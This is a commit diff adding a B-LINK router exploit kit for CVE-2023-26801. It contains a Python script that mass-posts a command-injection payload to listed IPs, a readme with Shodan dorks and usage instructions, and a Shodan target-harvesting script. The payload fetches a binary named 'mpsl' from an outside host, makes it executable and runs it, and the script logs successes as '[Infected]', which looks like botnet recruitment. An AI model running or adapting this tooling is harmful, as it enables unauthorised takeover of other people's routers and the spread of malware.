Add files via upload

EXPLOITS/B-LINK/ip.txt

@@ -0,0 +1,2 @@
+1.1.1.1
+8.8.8.8

EXPLOITS/B-LINK/lb.py

@@ -0,0 +1,35 @@
+import requests
+import sys
+import base64
+import os
+
+file_path = sys.argv[1]
+def run(a):
+    subprocess.run(a, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+def all(kk):
+    q = "ww" + str(kk)
+    return q
+with open(file_path, 'r') as file:
+    ip_list = file.read().splitlines()
+
+headers = {
+    'Cookie': 'user=admin'
+}
+
+payload = "time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://1.1.1.1/mpsl; chmod 777 mpsl; ./mpsl lblink;"
+
+for ip in ip_list:
+    url = f'http://{ip}/goform/set_LimitClient_cfg'
+
+    try:
+        response = requests.post(url, headers=headers, data=payload, timeout=20)
+        if response.status_code == 200:
+            print(f"[Infected] {ip}")
+        else:
+            print(f"[Error] {ip}")
+    except requests.exceptions.Timeout:
+        print(f"[Timeout] {ip}")
+        continue
+    except requests.exceptions.RequestException:
+        print(f"[Error] {ip}")
+        continue

EXPLOITS/B-LINK/readme.txt

@@ -0,0 +1,13 @@
+CVE ID: CVE-2023-26801
+CPU Arch: Mipsel
+Type: Command Injection
+Device: B-LINK Router
+Dork:
+- title:"B-LINK" (Shodan & Zoomeye)
+chmod the py file and run it with the dork lists
+========================POC========================
+POST http://192.168.1.1/goform/set_LimitClient_cfg
+Cookie: user=admin
+
+time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://1.1.1.1/mpsl; chmod 777 mpsl; ./mpsl lblink;
+===================================================

EXPLOITS/B-LINK/shodan_search.py

@@ -0,0 +1,25 @@
+import shodan
+
+SHODAN_API_KEY = ''
+
+api = shodan.Shodan(SHODAN_API_KEY)
+
+try:
+    with open('results.txt', 'w') as f:
+        query = 'ARN02304U8'
+        page = 1
+        results = api.search(query, page=page)
+        total_results = results['total']
+        print('Total results:', total_results)
+
+        while (page - 1) * 100 < total_results:
+            results = api.search(query, page=page)
+            for result in results['matches']:
+                ip = result['ip_str']
+                port = str(result['port'])
+                f.write(ip + ':' + port + '\n')
+            page += 1
+            print('Processed', page * 100, 'results')
+
+except shodan.APIError as e:
+    print('Error: %s' % e)